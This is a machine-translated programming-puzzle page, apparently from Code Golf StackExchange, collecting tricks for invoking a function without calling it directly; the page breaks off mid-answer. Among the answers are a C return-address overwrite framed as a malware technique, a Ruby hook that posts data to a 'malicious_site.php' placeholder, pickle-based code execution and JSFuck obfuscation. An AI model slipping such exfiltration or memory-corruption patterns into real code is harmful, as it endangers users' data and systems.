เรียกวิธีการโดยไม่เรียกมัน [ปิด]


77

แรงบันดาลใจจากคำถาม StackOverflow ลบในขณะนี้ คุณสามารถหาวิธีที่จะเรียกใช้วิธีการเฉพาะโดยไม่เรียกอย่างชัดเจนได้หรือไม่? ยิ่งอ้อมยิ่งดี

นี่คือสิ่งที่ฉันหมายถึงอย่างแน่นอน (C ใช้สำหรับการแสดงตัวอย่างทุกภาษาที่ยอมรับ):

// Call this.
void the_function(void)
{
    printf("Hi there!\n");
}

int main(int argc, char** argv)
{
    the_function(); // NO! Bad! This is a direct call.
    return 0;
}

คำถามเดิม: ป้อนคำอธิบายรูปภาพที่นี่


58
+10471 ... ดีมาก
qwr

29
ฉันสงสัยว่าคุณต้องการตัวแทนล้นมากเกินไป
PyRulez

34
เห็นได้ชัดว่านี่เป็น screencap จากบัญชีของ@Mysticialเห็นอวตาร Mysticial สามารถคุณโปรดเพียงแค่คลิกที่แท็บตัวแทนของคุณ?!?!?!
Doorknob

4
@ Doorknob ทำไมเขาควร? ทุกอย่างมาจากคำตอบเดียว
FDinoff

8
@PyRulez จอนสกีตยังไม่ได้ดังนั้นเราจึงจะปลอดภัยสำหรับตอนนี้
โคลจอห์นสัน

คำตอบ:


109

C

#include <stdio.h>

int puts(const char *str) {
  fputs("Hello, world!\n", stdout);
}

int main() {
  printf("Goodbye!\n");
}

เมื่อคอมไพล์ด้วย GCC คอมไพเลอร์จะแทนที่printf("Goodbye!\n")ด้วยputs("Goodbye!")ซึ่งง่ายกว่าและควรจะเทียบเท่า ฉันแอบให้putsฟังก์ชั่นที่กำหนดเองของฉันดังนั้นมันจึงถูกเรียกมาแทน


1
@ user17752 นี่คือการเปลี่ยนแปลงที่ GCC ทำแม้กระทั่งที่ -O0 (. GCC 4.8 แล้วบางทีรุ่นอื่น ๆ จะต้องตัวเลือกอื่น ๆ บาง.)
HVD

1
ขออภัยความผิดพลาดของฉันลืมว่าฉันใช้เสียงดังกราวใน macbook ของฉัน
DarkHeart

@ user17752 ขอบคุณฉันไม่ได้ทดสอบกับคอมไพเลอร์อื่น ๆ ดีใจที่รู้ว่าเสียงดังกราวอย่างน้อยมีตัวเลือกที่จะได้รับการแปลงเดียวกัน
hvd

ขอแสดงความยินดี! ผู้ชนะคือคุณ!

84

มัลแวร์สามารถใช้งานฟังก์ชั่นที่ไม่ได้เรียกใช้ในรหัสได้อย่างไร โดยบัฟเฟอร์ล้น!

#include <stdio.h>

void the_function()
{
    puts("How did I get here?");
}

int main()
{
    void (*temp[1])();         // This is an array of 1 function pointer
    temp[3] = &the_function;   // Writing to index 3 is technically undefined behavior
}

ในระบบของฉันที่อยู่ผู้ส่งของmainเกิดขึ้นจะถูกจัดเก็บ 3 คำเหนือตัวแปรท้องถิ่นตัวแรก ด้วยการแย่งที่อยู่ผู้ส่งกลับด้วยที่อยู่ของฟังก์ชันอื่นmain"ส่งคืน" ไปยังฟังก์ชันนั้น หากคุณต้องการสร้างลักษณะการทำงานนี้บนระบบอื่นคุณอาจต้องปรับแต่ง 3 เป็นค่าอื่น


เอาชนะฉันได้ (+1) - นี่คือโซลูชัน C ที่เห็นได้ชัด
Comintern

20
ใช้<!-- language: lang-c -->สองบรรทัดก่อนรหัสของคุณเพื่อเน้น
Victor Stafusa

9
สวัสดี @Victor, ฮีโร่ที่เน้นไวยากรณ์!
Jason C

@Victor เป็นเอกสารอย่างเป็นทางการแล้วหรือยัง ถ้าใช่อยู่ที่ไหน
Thorbjørn Ravn Andersen

3
@ ThorbjørnRavnAndersenmeta.stackexchange.com/ questions/184108/…
Victor Stafusa


56

Python 2

>>> def func(*args):
        print('somebody called me?')

ต่อไปนี้เป็นวิธีที่ได้รับแรงบันดาลใจจากคำตอบอื่น ๆ :

  1. รันโค้ดโดยตรง

    >>> exec(func.func_code) # just the code, not a call
    somebody called me?
    

    นี่เป็นวิธีที่ดีที่สุดในการไม่เรียกใช้ฟังก์ชัน

  2. ใช้ destructor

    >>> class X(object):pass
    >>> x = X()
    >>> X.__del__ = func # let  the garbage collector do the call
    >>> del x
    somebody called me?
    
  3. การใช้ std I / O

    >>> x.write = func # from above
    >>> import sys
    >>> a = sys.stderr
    >>> sys.stderr = x
    >>> asdjkadjls
    somebody called me?
    somebody called me?
    somebody called me?
    somebody called me?
    somebody called me?
    >>> sys.stderr = a # back to normality
    
  4. ใช้การค้นหาแอตทริบิวต์

    >>> x = X() # from above
    >>> x.__get__ = func
    >>> X.x = x
    >>> x.x # __get__ of class attributes
    somebody called me?
    <__main__.X object at 0x02BB1510>
    >>> X.__getattr__ = func
    >>> x.jahsdhajhsdjkahdkasjsd # nonexistent attributes
    somebody called me?
    >>> X.__getattribute__ = func
    >>> x.__class__ # any attribute
    somebody called me?
    
  5. กลไกการนำเข้า

    >>> __builtins__.__import__ = func
    >>> import os # important module!
    somebody called me?
    >>> os is None
    True
    

    ดีฉันเดาว่าทั้งหมด .. ฉันไม่สามารถนำเข้าอะไรตอนนี้ ไม่รอ..

  6. การใช้วงเล็บรับสินค้า []

    >>> class Y(dict): pass
    >>> Y.__getitem__ = func
    >>> d = Y()
    >>> d[1] # that is easy
    somebody called me?
    
  7. ใช้ตัวแปรทั่วโลก ของโปรด!

    >>> exec "hello;hello" in d # from above
    somebody called me?
    somebody called me?
    

    hellod['hello']คือการเข้าถึง หลังจากนี้โลกดูเหมือนว่าสีเทา

  8. คลาส Meta;)

    >>> class T(type): pass
    >>> T.__init__ = func
    >>> class A:
        __metaclass__ = T
    somebody called me?
    
  9. การใช้ตัววนซ้ำ (คุณสามารถโอเวอร์โหลดตัวดำเนินการใด ๆ และใช้งานได้)

    >>> class X(object): pass
    >>> x = X()
    >>> X.__iter__ = func
    >>> for i in x: pass # only once with error
    somebody called me?
    
    >>> X.__iter__ = lambda a: x 
    >>> X.next = func
    >>> for i in x: pass # endlessly!
    somebody called me?
    somebody called me?
    somebody called me?
    ...
    
  10. ข้อผิดพลาด!

    >>> class Exc(Exception):__init__ = func
    >>> raise Exc # removed in Python 3
    somebody called me?
    
  11. กรอบการโทรกลับ GUI เกือบทุกตัวมีฟังก์ชันนี้

    >>> import Tkinter
    >>> t = Tkinter.Tk()
    >>> t.after(0, func) # or QTimer.singleShot(1000, func)
    >>> t.update()
    somebody called me?
    
  12. ดำเนินการสตริงแหล่งที่มา (func ต้องอยู่ในไฟล์)

    >>> import linecache
    >>> exec('if 1:' + '\n'.join(linecache.getlines(func.func_code.co_filename, func.func_globals)[1:]))
    somebody called me?
    
  13. ตกแต่ง

    >>> @func
    def nothing():pass
    sombody called me?
    
  14. ด้วย pickle de-serialization (รายการโปรดอย่างน้อยจะมา)

    >>> import pickle # serialization
    >>> def __reduce__(self):
        return func, ()
    >>> X.__reduce__ = __reduce__
    >>> x = X()
    >>> s = pickle.dumps(x)
    >>> pickle.loads(s) # this is a call but it is hidden somewhere else
    somebody called me?
    
  15. ใช้เป็นอันดับ

    >>> import copy_reg
    >>> copy_reg.pickle(X, func)
    >>> pickle.dumps(x) # again a hidden call
    somebody called me?
    

คำตอบของ Python เพิ่มเติม:


1
คอลเลกชันที่ดี แต่คุณลืมเกี่ยวกับหัวข้อ ;)
nyuszika7h

คำตอบนี้ไร้สาระ +1
asteri

นี่คือ python 3
Braden สุดยอด

1
ตัวอย่างเหล่านี้จำนวนมากยังทำงานกับ Python 3 เมตาคลาสที่แสดงและการเพิ่มข้อยกเว้นไม่ทำงานใน Python 3
ผู้ใช้

22

จาวาสคริ

อันนี้ใช้JSFuckเพื่อทำงานสกปรก

function x() { alert("Hello, you are inside the x function!"); }

// Warning: JSFuck Black magic follows.
// Please, don't even try to understand this shit.
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]
+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][
(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!
![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[
]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+
(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!!
[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+
[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(!
[]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![
]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+
!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[
+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!
+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((+(+
!+[]+[+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]
]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+
[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[]
)[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+
[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[
])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[
+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[
]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!
+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+
([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]
]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])
[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[]
[[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[
!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]
])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+
!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[
+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+
[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+
[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[
!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!
+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+
(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[
]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]
]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]
]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[
]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]
+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+
[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]+!+[]+!+[]])[+!+[]]+(![]+[][(![]+
[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[
])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[
+[]]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[]
)[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[
+!+[]]])[!+[]+!+[]+[+[]]])()

54
ฉันคิดว่าสิ่งนี้มีคุณสมบัติเป็นการเรียกใช้ฟังก์ชันอย่างชัดเจน แค่คนที่งงมาก
primo

3
@primo มันจะสร้างสตริงของจาวาสคริปต์เพื่อให้ทำงานและรับวัตถุฟังก์ชั่นเพื่อเรียกใช้ด้วย แต่การทำเช่นนั้นจะใช้การแปลงโดยนัยระหว่างประเภท; เช่น""เป็นสตริงและ[]ประเมินค่าเป็น 0 ดังนั้นจึง""[[]]ไม่ได้กำหนดและ""[[]]+""เป็น "ไม่ได้กำหนด" จากตรงนั้นคุณสามารถดึงตัวอักษรออกมาได้: (""[[]]+"")[[]]คือ "u" ดังนั้นมันจึงเป็นเหมือนแฮ็คที่จะเรียกใช้ exec ด้วยรหัสที่กำหนดเอง ฉันคิดว่านับ
Phil H

1
@ ฟิลฉันเข้าใจว่ามันทำงานยังไง ลบวงเล็บสองอันสุดท้าย: function anonymous() { x() }.
primo

22

หลาม

import sys

def the_function(*void):
    print 'Hi there!'

sys.setprofile(the_function)

ชุดนี้the_functionเป็นฟังก์ชั่นการทำโปรไฟล์ทำให้ต้องดำเนินการในการเรียกและส่งคืนแต่ละฟังก์ชัน

>>> sys.setprofile(the_function)
Hi there!
>>> print 'Hello there!'
Hi there!
Hi there!
Hi there!
Hi there!
Hi there!
Hello there!
Hi there!

Python นี้หรือไม่
Hosch250

@ user2509848 ใช่ฉันลืมที่จะพูดถึงว่า
grc

คำตอบที่ไม่ใช่ C! ฉันชอบที่จะเห็นมากขึ้น: D

@Johnsyweb โปรดดูmeta.codegolf.stackexchange.com/q/1109/9498 ไม่จำเป็นต้องแก้ไขทุกโพสต์เดียวเพื่อรวมการเน้นไวยากรณ์โดยเฉพาะถ้ามันแทบจะส่งผลกระทบต่อรูปลักษณ์ของรหัส (เช่นรหัสสั้น)
Justin

@Quincunx: ตอบรับแล้ว☻
Johnsyweb

18

C #

เราสามารถใช้ DLR ในทางที่ผิดเพื่อรันรหัสบางอย่างเมื่อใดก็ตามที่คุณพยายามเรียกวิธีการใด ๆในชั้นเรียน นี่คือราคาถูก / ชัดเจนน้อยกว่าโซลูชันเช่นผู้รับมอบสิทธิ์, การสะท้อน, ตัวสร้างแบบคงที่ ฯลฯ เนื่องจากวิธีการดำเนินการไม่เพียง แต่ไม่เคยเรียกใช้แต่ไม่ได้อ้างอิงแม้กระทั่งโดยชื่อของมัน

void Main()
{
    dynamic a = new A();
    a.What();
}

class A : DynamicObject
{
    public override bool TryInvokeMember(InvokeMemberBinder binder, Object[] args,
        out Object result)
    {
        Console.WriteLine("Ha! Tricked you!");
        result = null;
        return true;
    }
}

สิ่งนี้จะพิมพ์ "Ha! Tricked you!" ไม่ว่าสิ่งที่aคุณพยายามที่จะเรียกใน ดังนั้นฉันสามารถเขียนได้อย่างง่ายดายa.SuperCaliFragilisticExpiAlidocious()และมันจะทำสิ่งเดียวกัน


17

GNU C

#include <stdio.h>
#include <stdlib.h>

void hello_world() {
  puts(__func__);
  exit(0);
}

int main() {
  goto *&hello_world;
}

นี่คือตรงมาก แต่ไม่แน่นอนโทรไปhello_worldแม้ว่าฟังก์ชั่นไม่ดำเนินการ


16

ทับทิม

แรงบันดาลใจจากวัด

require 'net/http'

def method_missing(*args) 
    # some odd code        
    http.request_post ("http://example.com/malicious_site.php", args.join " ")
    args.join " "
end

ruby has bare words
# => "ruby has bare words"

15

C

คุณสามารถลงทะเบียนฟังก์ชั่นที่จะเรียกใช้เมื่อสิ้นสุดโปรแกรมใน C หากตรงกับความต้องการของคุณ:

#include <stdio.h>
#include <stdlib.h>

void the_function()
{
    puts("How did I get here?");
}

int main()
{
    atexit(&the_function);
}

15

ชวา

พยายามนี้ด้วย java:

import java.io.PrintStream;
import java.lang.reflect.Method;

public class CallWithoutCalling {
    public static class StrangeException extends RuntimeException {
        @Override
        public void printStackTrace(PrintStream s) {
            for (Method m : CallWithoutCalling.class.getMethods()) {
                if ("main".equals(m.getName())) continue;
                try {
                    m.invoke(null);
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }
    }

    public static void secretMethodNotCalledInMain() {
        System.out.println("Congratulations, you won a million dollars!");
    }

    public static void main(String[] args) {
        throw new StrangeException();
    }
}

วิธีการsecretMethodNotCalledInMainนี้ถูกเรียกโดยการไตร่ตรองและฉันไม่ได้ค้นหาสิ่งที่เรียกว่าsecretMethodNotCalledInMain(แต่ฉันกำลังค้นหาสิ่งที่ไม่ได้เรียกว่าmain) นอกจากนี้ส่วนไตร่ตรองของรหัสเรียกว่านอกmainวิธีเมื่อตัวจัดการข้อยกเว้นที่ไม่สามารถตรวจจับได้ของ JDK เริ่มขึ้น

นี่คือข้อมูล JVM ของฉัน:

C:\>java -version
java version "1.8.0-ea"
Java(TM) SE Runtime Environment (build 1.8.0-ea-b109)
Java HotSpot(TM) 64-Bit Server VM (build 25.0-b51, mixed mode)

นี่คือผลลัพธ์ของโปรแกรมของฉัน:

Congratulations, you won a million dollars!
Exception in thread "main" java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
Java Result: 1

ฉันไม่ได้คาดหวังว่าสิ่งเหล่านั้นNullPointerExceptionจะถูกโยนจากโค้ดเนทีฟเพื่อจัดการกับการสะท้อน แต่ตามที่กล่าวไว้โดย @ johnchen902 นั่นเป็นเพราะมันสืบทอดวิธีการบางอย่างจากjava.lang.Objectและฉันก็ลงเอยด้วยการเรียกพวกเขาnullมา


สิ่งเหล่านั้นNPEไม่ใช่ข้อบกพร่องของ JDK พวกเขากำลังโยนเพราะคุณพยายามที่จะเรียกวิธีเช่นการประกาศjava.lang.Objectเช่นกับtoString() null
johnchen902

@ johnchen902 โอ้แน่นอน ขอขอบคุณ. ฉันแก้ไขมัน
Victor Stafusa

14

C ++

วิธีหนึ่งใน C ++ อยู่ในตัวสร้างและ / หรือ destructor ของวัตถุคงที่:

struct foo { 
    foo() { printf("function called"); }
    ~foo() { printf("Another call"); }
}f;

int main() { }

1
ฉันยังคิดว่าการบรรทุกเกินพิกัดใหม่และลบแต่ฉันคิดว่าสามคำตอบก็เพียงพอแล้ว :)
fredoverflow

Constructor / destructors ถูกพิจารณาว่าเป็น "method" ใน C ++ หรือไม่ ใน. NET และ Java พวกเขาเป็นสมาชิกที่แตกต่างกัน คุณไม่สามารถเรียก ctor แบบคงที่ได้โดยตรงแม้ว่าคุณต้องการ ...
Aaronaught

@Aaraught: ไม่มีสิ่งใดที่ถือเป็น "วิธีการ" ใน C ++ (อย่างน้อยก็ใครก็ตามที่รู้ว่าพวกเขากำลังพูดถึงอะไร) ตัวสร้างและ destructors เป็นฟังก์ชันสมาชิก เป็นฟังก์ชันสมาชิก "พิเศษ" (เช่นตัวสร้างไม่มีชื่อดังนั้นคุณจึงไม่สามารถเรียกใช้โดยตรง)
Jerry Coffin

ฉันใช้คำนั้นเพราะ OP ทำเท่านั้น ฉันรู้ว่า C / C ++ และภาษาอื่น ๆ ที่ไม่ใช่ Java / .NET มีฟังก์ชั่นไม่ใช่วิธีการ แต่ประเด็นสำคัญคือพวกเขาไม่สามารถเรียกใช้ได้โดยตรง คุณสามารถยืนยันว่าตัวสร้างอินสแตนซ์ทางเทคนิคที่ถูกเรียกโดยตรงกับnewและดังนั้นจึงจะเป็นคำตอบที่น่าสนใจที่จะมีวิธีการเรียกใช้อย่างใดอย่างหนึ่งโดยไม่ต้อง newแต่ฉันไม่รู้ผู้สร้างแบบคงที่รู้สึกเหมือนเป็นคนโกง
Aaronaught

@Aaraught หากคุณต้องการโทรหาคอนสตรัคเตอร์บนหน่วยความจำที่จัดสรรไว้แล้วคุณสามารถเขียนnew (p) foo()ได้ p->~foo()และคุณสามารถทำลายวัตถุโดยไม่ปล่อยหน่วยความจำผ่าน
fredoverflow

12

C: สวัสดีชาวโลก

#include <stdio.h>
void donotuse(){
   printf("How to use printf without actually calling it?\n");
}
int main(){
    (*main-276)("Hello World\n");
}

เอาท์พุท:

Hello World!

ในการเชื่อมโยงวิธีการนั้นเราจำเป็นต้องมี printf () เพื่อรวบรวมในที่อื่น ๆ ในโปรแกรม แต่ไม่จำเป็นต้องเรียกใช้งานจริง ฟังก์ชั่น printf () และ main () อยู่ห่างจากกัน 276 ไบต์ในส่วนของรหัส ค่านี้จะเปลี่ยนไปตามระบบปฏิบัติการและคอมไพเลอร์ คุณสามารถค้นหาที่อยู่ที่แท้จริงในระบบของคุณด้วยรหัสนี้จากนั้นเพียงแค่ลบพวกเขา:

printf("%d %d\n", &printf, &main);

4
*ก่อนที่mainมันทำให้เกิดความสับสนและไม่จำเป็น mainเป็นฟังก์ชั่นที่คุณไม่สามารถอ่านค่าได้ดังนั้นมันจะสลายตัวไปยังตัวชี้ฟังก์ชันโดยปริยายซึ่งจะถูกกำหนดเป็นฟังก์ชันอีกครั้ง คุณไม่สามารถลบ int ออกจากฟังก์ชั่นได้ดังนั้นมันจะสลายไปเป็นตัวชี้ฟังก์ชันอีกครั้ง คุณอาจเขียน(*****main-276);) คุณอาจหมายถึงการเขียน(&main-276)หรือ(*(main-276))แทน
fredoverflow

6
The * before main is really confusing and unnecessary.- นั่นไม่ใช่สิ่งที่ดีในเว็บไซต์นี้ใช่ไหม
James Webster

ฉันรู้สึกประทับใจกับมาตรฐานที่บอกว่าโปรแกรมที่มีรูปแบบที่ดีจะไม่ใช้mainแต่ไม่สามารถหาได้ในตอนนี้ ...
Damon

3
คุณเรียกมันอย่างชัดเจนโดยการอ้างอิงที่งงงวย
Nowayz

9

C (ด้วย GCC แบบอินไลน์ asm)

#include <stdio.h>
#include <stdlib.h>

/* prevent GCC optimising it away */
void the_function(void) __attribute__((__noreturn__, __used__));

int
main(void)
{
    asm volatile (".section fnord");
    return (1);
}

void
the_function(void)
{
    asm volatile (".text");
    printf("Hi there!\n");
    exit(0);
}

สิ่งนี้จะทำให้โค้ดที่ปล่อยโดย GCC บางส่วนสิ้นสุดในส่วนอื่นของไฟล์ออบเจ็กต์ทำให้การควบคุมโฟลว์ โปรดทราบว่านี่จะไม่ทำงานหาก GCC ตัดสินใจที่จะจัดลำดับฟังก์ชั่นใหม่อย่างชัดเจน ทดสอบกับ GCC 3.4.6 บน MirBSD หมุนเวียน / i386 -O2ใช้ (นอกจากนี้ยังแบ่งการดีบักการคอมไพล์ด้วย-gข้อผิดพลาด out)


8

PHP ≥5.4.0

วิธีการแก้ปัญหานี้เป็นที่ยอมรับเป็นระเบียบน่าเกลียดน่ากลัว แต่มันดำเนินงานให้กับมัน (มีการระบุวิธีการที่ไม่ดีก็จะมีการดำเนินการ)

ฟังก์ชั่นการโทรโดยไม่ต้องโทร :

function getRandomString( $len = 5 )
{
    $chars = "qwertyuiopasdfghjklzxcvbnm1234567890QWERTYUIOPASDFGHJKLZXCVBNM1234567890";
    $string = "";

    for( $i = 0; $i < $len; ++$i )
    {
        $idx = mt_rand( 0, strlen( $chars ) - 1 );
        $string .= $chars[$idx];
    }

    return $string;
}

ทางออก :

function executeFunction( $name, $args = [ ] )
{
    global $argv;

    $code = file_get_contents( $argv[0] );
    $matches = [];
    $funcArgs = "";
    $funcBody = "";

    if( preg_match( "~function(?:.*?){$name}(?:.*?)\(~i", $code, $matches ) )
    {
        $idx = strpos( $code, $matches[0] ) + strlen( substr( $matches[0], 0 ) );

        $parenNestLevel = 1;
